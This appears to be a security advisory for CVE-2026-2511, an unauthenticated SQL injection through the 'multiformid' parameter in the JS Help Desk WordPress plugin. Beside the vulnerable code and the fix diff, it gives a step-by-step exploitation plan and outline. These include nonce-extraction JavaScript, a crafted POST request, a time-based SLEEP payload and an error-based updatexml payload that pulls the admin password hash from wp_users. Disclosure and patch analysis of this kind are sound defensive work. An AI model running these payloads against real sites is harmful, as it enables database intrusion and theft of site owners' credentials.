JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.4 - Unauthenticated SQL Injection via 'multiformid' Parameter
Description
The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection via the `multiformid` parameter in the `storeTickets()` function in all versions up to, and including, 3.0.4. This is due to the user-supplied `multiformid` value being passed to `esc_sql()` without enclosing the result in quotes in the SQL query, rendering the escaping ineffective against payloads that do not contain quote characters. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.0.4What Changed in the Fix
Changes introduced in v3.0.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-2511 ## 1. Vulnerability Summary The **JS Help Desk – AI-Powered Support & Ticketing System** plugin (up to version 3.0.4) is vulnerable to an unauthenticated SQL Injection. The vulnerability exists in the `storeTickets()` function (typically located in the `…
Show full research plan
Exploitation Research Plan - CVE-2026-2511
1. Vulnerability Summary
The JS Help Desk – AI-Powered Support & Ticketing System plugin (up to version 3.0.4) is vulnerable to an unauthenticated SQL Injection. The vulnerability exists in the storeTickets() function (typically located in the Ticket model/controller) where the multiformid parameter is processed.
The root cause is the improper use of esc_sql(): the user-supplied value is passed through esc_sql() but is not enclosed in single quotes within the resulting SQL query string. This allows an attacker to break out of the intended query logic using SQL keywords (like UNION, AND, OR) that do not require quotes to function, bypassing the escaping mechanism entirely.
2. Attack Vector Analysis
- Endpoint: WordPress Frontend (any page containing the
[jssupportticket_addticket]shortcode or the main[jssupportticket]control panel). - Hook:
the_contentfilter (registered injs-support-ticket.phpascheckRequest). - Authentication: Unauthenticated (the plugin allows "Visitors" to create tickets by default).
- Vulnerable Parameter:
multiformid(sent via POST). - Preconditions:
- The plugin must be active.
- A page must be published with the
[jssupportticket_addticket]shortcode to expose the form and nonces.
3. Code Flow
- Entry Point: A
POSTrequest is sent to a page wherethe_contentis filtered by the plugin. - Routing:
jssupportticket::checkRequest()identifies the request viajstmod=ticketandjstlay=addticketparameters. - Controller: The request is routed to
JSSTticketController::handleRequest(). - Trigger: When
$_POST['form_request']is set tojssupportticket, the controller initiates the ticket saving process. - Vulnerable Sink:
JSSTticketModel::storeTickets()(or a similar field-ordering function called during ticket validation) retrievesmultiformidfrom the request. - SQL Execution: The code constructs a query similar to:
// Pattern observed in fieldordering/model.php: $jsst_inquery = " AND multiformid = " . esc_sql($jsst_formid); $jsst_query = "SELECT * FROM ... WHERE ... " . $jsst_inquery; - Injection: Since
$jsst_formidis not wrapped in quotes, a payload like1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)is appended directly to the query.
4. Nonce Acquisition Strategy
The plugin uses a nonce named jsst_nonce for form submissions. This nonce is generated in JSSTjssupportticketController::handleRequest and typically embedded as a hidden field in the ticket creation form.
Strategy:
- Identify the page ID containing the ticket creation form.
- Navigate to the page using
browser_navigate. - Extract the nonce using
browser_eval.
JavaScript to extract nonce:
// Look for the hidden input field usually named 'jsst_nonce'
document.querySelector('input[name="jsst_nonce"]')?.value;
5. Exploitation Strategy
We will perform a Time-Based Blind SQL Injection to confirm the vulnerability and then an Error-Based or UNION-Based extraction if the environment permits.
Step 1: Confirmation (Time-Based)
URL: http://vulnerable-wp.local/index.php?jstmod=ticket&jstlay=addticket
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body Parameters:
jstmod:ticketjstlay:addticketform_request:jssupportticketjsst_nonce:[EXTRACTED_NONCE]multiformid:1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)jssupportticket_subject:Test Subjectjssupportticket_message:Test Message
Step 2: Data Extraction (Error-Based)
If WP_DEBUG is enabled or the plugin reflects database errors:
Payload for multiformid:1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)
6. Test Data Setup
- Activate Plugin: Ensure
js-support-ticketis active. - Create Trigger Page:
wp post create --post_type=page --post_title="Create Ticket" --post_status=publish --post_content='[jssupportticket_addticket]' - Verify Settings: Ensure visitor ticket creation is enabled (default).
7. Expected Results
- Confirmation: The
POSTrequest with theSLEEP(5)payload should take approximately 5 seconds longer to respond than a standard request. - Extraction: If using error-based techniques, the response body will contain the admin password hash (e.g.,
XPATH syntax error: '~$P$B...').
8. Verification Steps
After the exploit, confirm the database was queried correctly:
- Check the WordPress database for the existence of the tables created in
activation.php(e.g.,wp_js_ticket_fieldsordering). - Use
wp-clito check for any newly created "test" tickets that might have been partially saved despite the injection:wp db query "SELECT * FROM wp_js_ticket_tickets ORDER BY id DESC LIMIT 1;"
9. Alternative Approaches
If the storeTickets sink is hardened or requires specific fields, target the fieldordering list which uses the same vulnerable pattern:
- Endpoint:
admin-ajax.phpor Frontend routing. - Module:
fieldordering - Layout:
fieldordering - Parameter:
formid(mapped tomultiformidinmodules/fieldordering/model.php).
Note on esc_sql(): The plugin uses esc_sql() in several places without quotes. If the storeTickets path fails, JSSTfieldorderingModel::getFieldOrderingForList is a secondary target where multiformid is concatenated directly into a SELECT * query.
Summary
The JS Help Desk plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'multiformid' parameter. This occurs because user-supplied input is passed to esc_sql() but concatenated into queries without quote encapsulation, allowing attackers to manipulate SQL logic using numeric-based or time-based payloads to extract sensitive database information.
Vulnerable Code
// modules/fieldordering/model.php line 13 $jsst_formid = jssupportticket::$jsst_data['formid']; if (isset($jsst_formid) && $jsst_formid != null) { $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid); } --- // modules/fieldordering/model.php line 164 if ($jsst_fieldfor == 1) { $jsst_query .= " AND multiformid = " . esc_sql($jsst_formid); } --- // modules/fieldordering/model.php line 181 $jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor = 1 AND field = '".esc_sql($jsst_field)."' AND multiformid = " . esc_sql($jsst_formid);
Security Fix
@@ -11,7 +11,7 @@ } $jsst_formid = jssupportticket::$jsst_data['formid']; if (isset($jsst_formid) && $jsst_formid != null) { - $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid); + $jsst_inquery = " AND multiformid = ".intval($jsst_formid); } else{ $jsst_inquery = " AND multiformid = ".JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId(); @@ -162,7 +162,7 @@ } $jsst_query = "SELECT * FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor = " . esc_sql($jsst_fieldfor); if ($jsst_fieldfor == 1) { - $jsst_query .= " AND multiformid = " . esc_sql($jsst_formid); + $jsst_query .= " AND multiformid = " . intval($jsst_formid); } $jsst_query .= esc_sql($jsst_adminonly) . " ORDER BY ordering "; jssupportticket::$jsst_data['fieldordering'] = jssupportticket::$_db->get_results($jsst_query); @@ -178,7 +178,7 @@ } else { $jsst_published = ' published = 1 '; } - $jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor = 1 AND field = '".esc_sql($jsst_field)."' AND multiformid = " . esc_sql($jsst_formid); + $jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor = 1 AND field = '".esc_sql($jsst_field)."' AND multiformid = " . intval($jsst_formid); $jsst_required = jssupportticket::$_db->get_var($jsst_query); return $jsst_required; } @@ -601,7 +601,7 @@ $jsst_parent = jssupportticket::$_db->get_var($jsst_query); $jsst_wherequery = ' OR id = '.esc_sql($jsst_parent); } - $jsst_query = "SELECT fieldtitle AS text ,id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND multiformid = ".esc_sql($jsst_formid)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' ".esc_sql($jsst_wherequery)." ) "; + $jsst_query = "SELECT fieldtitle AS text ,id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND multiformid = ".intval($jsst_formid)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' ".esc_sql($jsst_wherequery)." ) "; $jsst_data = jssupportticket::$_db->get_results($jsst_query); if(isset($jsst_parentfield) && $jsst_parentfield !='' ){ $jsst_query = "SELECT id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo'OR userfieldtype = 'depandant_field') AND depandant_field = '" . esc_sql($jsst_parentfield) . "' "; @@ -1029,7 +1029,7 @@ $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId(); $jsst_inquery = " AND multiformid = ".esc_sql($jsst_defaultformid); } elseif (isset($jsst_formid) && $jsst_formid != '') { - $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid); + $jsst_inquery = " AND multiformid = ".intval($jsst_formid); } $jsst_query = "SELECT field,fieldtitle FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE fieldfor = " . esc_sql($jsst_fieldfor) . $jsst_published; $jsst_query .= $jsst_inquery; @@ -1069,7 +1069,7 @@ $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId(); $jsst_inquery = " AND multiformid = ".esc_sql($jsst_defaultformid); } elseif (isset($jsst_formid) && $jsst_formid != '') { - $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid); + $jsst_inquery = " AND multiformid = ".intval($jsst_formid); } $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE showonlisting = 1 AND fieldfor = " . esc_sql($jsst_fieldfor) . esc_sql($jsst_published); $jsst_query .= $jsst_inquery; @@ -1088,7 +1088,7 @@ $jsst_query .= " ORDER BY m.is_default DESC, f.ordering ASC"; } else { $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId(); - $jsst_formFilter = " AND f.multiformid = " . esc_sql($jsst_formid); + $jsst_formFilter = " AND f.multiformid = " . intval($jsst_formid); $jsst_query = "SELECT f.field, f.fieldtitle FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering f WHERE f.search_admin = 1 AND f.published = 1 AND (f.isuserfield IS NULL OR f.isuserfield != 1) "; $jsst_query .= $jsst_formFilter; $jsst_query .= " ORDER BY f.ordering ASC"; @@ -1118,7 +1118,7 @@ $jsst_query .= " ORDER BY m.is_default DESC, f.ordering ASC"; } else { $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId(); - $jsst_formFilter = " AND f.multiformid = " . esc_sql($jsst_formid); + $jsst_formFilter = " AND f.multiformid = " . intval($jsst_formid); // Query with LEFT JOIN and ordering to prioritize default form $jsst_query = "SELECT f.field, f.fieldtitle FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering f WHERE f.search_user = 1 AND ".$jsst_published." AND (f.isuserfield IS NULL OR f.isuserfield != 1)"; $jsst_query .= $jsst_formFilter; @@ -1147,7 +1147,7 @@ } else { $jsst_published = ' published = 1 '; } - $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE ".$jsst_published." AND fieldfor = 1 AND multiformid = " . esc_sql($jsst_formid) ; + $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE ".$jsst_published." AND fieldfor = 1 AND multiformid = " . intval($jsst_formid) ; $jsst_fields = jssupportticket::$_db->get_results($jsst_query); $jsst_fielddata = array(); foreach ($jsst_fields AS $jsst_field) {
Exploit Outline
1. Identify a public page on the target WordPress site that includes the ticket creation form (shortcode [jssupportticket_addticket]). 2. View the page source or use the browser console to extract the value of the hidden 'jsst_nonce' input field. 3. Construct a POST request to the page URL with the following body parameters: 'jstmod=ticket', 'jstlay=addticket', 'form_request=jssupportticket', 'jsst_nonce=[EXTRACTED_NONCE]', and the malicious payload in the 'multiformid' parameter. 4. To confirm vulnerability, use a time-based payload for 'multiformid': '1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)'. A delayed response confirms the SQL injection. 5. For data extraction, use error-based payloads (if database errors are reflected) or boolean-based payloads to iteratively extract sensitive data such as admin password hashes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.